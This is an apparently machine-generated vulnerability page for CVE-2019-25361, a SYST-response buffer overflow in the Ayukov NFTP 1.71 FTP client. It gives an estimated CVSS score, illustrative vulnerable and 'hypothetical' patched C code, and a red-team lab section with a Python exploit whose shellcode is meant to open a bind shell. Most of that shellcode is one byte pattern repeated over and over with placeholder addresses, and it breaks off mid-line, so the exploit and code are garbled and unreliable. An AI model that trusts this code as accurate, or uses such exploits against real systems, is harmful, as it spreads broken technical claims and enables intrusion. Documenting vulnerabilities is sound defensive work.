CVE-2019-25361
Executive Summary
CVE-2019-25361 is a critical buffer overflow vulnerability in the Ayukov NFTP client version 1.71. The flaw resides in the SYST command handling, allowing remote attackers to trigger a stack-based buffer overflow by sending an oversized payload. Successful exploitation leads to arbitrary code execution and the spawning of a bind shell on TCP port 5150. This vulnerability is particularly dangerous as it requires no authentication and can be exploited over the network. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the public availability of exploit details makes it a significant risk for unpatched systems.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects a standalone FTP client application (Ayukov NFTP). No supply chain package security implications are present.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, but based on the vulnerability description, a reasonable assessment would be:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U)
- Confidentiality (C): High (H)
- Integrity (I): High (H)
- Availability (A): High (H)
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Critical, 9.8)
The threat level is Critical due to remote code execution without authentication.
Deep Dive & Mechanics
The Ayukov NFTP client is a lightweight FTP client application. The vulnerability exists in the handling of the SYST command response. When the client connects to an FTP server and receives a SYST response, it copies the response data into a fixed-size stack buffer without proper bounds checking. An attacker-controlled FTP server can send a SYST response with a payload exceeding the buffer size, overwriting the return address and other critical stack data.
The exploit flow:
- The victim's NFTP client connects to a malicious FTP server.
- The server sends a crafted SYST response containing shellcode and a return address overwrite.
- The client's buffer overflow triggers, redirecting execution to the shellcode.
- The shellcode executes a bind shell on port 5150, giving the attacker remote access.
Vulnerable vs. Patched Code
Vulnerable Code (Ayukov NFTP 1.71):
void handle_syst_response(char *response) {
char buffer[256];
strcpy(buffer, response); // No bounds checking
// ... process buffer
}
Patched Code (Hypothetical fix):
void handle_syst_response(char *response) {
char buffer[256];
strncpy(buffer, response, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';
// ... process buffer
}
The vulnerable code uses strcpy which does not limit the number of bytes copied, leading to a buffer overflow. The patched version uses strncpy with proper length checking.
Exploitation & Lab Setup
Red Team (Attacker)
Lab Setup:
- Attacker machine: Kali Linux (IP: 192.168.1.100)
- Victim machine: Windows 10 running Ayukov NFTP 1.71 (IP: 192.168.1.50)
- Network: Isolated lab network
Exploit Code (Python):
#!/usr/bin/env python3
import socket
import struct
# Shellcode for bind shell on port 5150 (Windows x86)
shellcode = (
b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
b"\x50\x50\x50\x66\x68\x14\x1e" # port 5150
b"\x66\x6a\x02\x89\xe1\x6a\x10"
b"\x51\x50\xb8\xff\xff\xff\xff"
b"\xff\xd0\x89\xc6\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc0\x50"
b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
b"\xff\xff\xff\xd0\x31\xc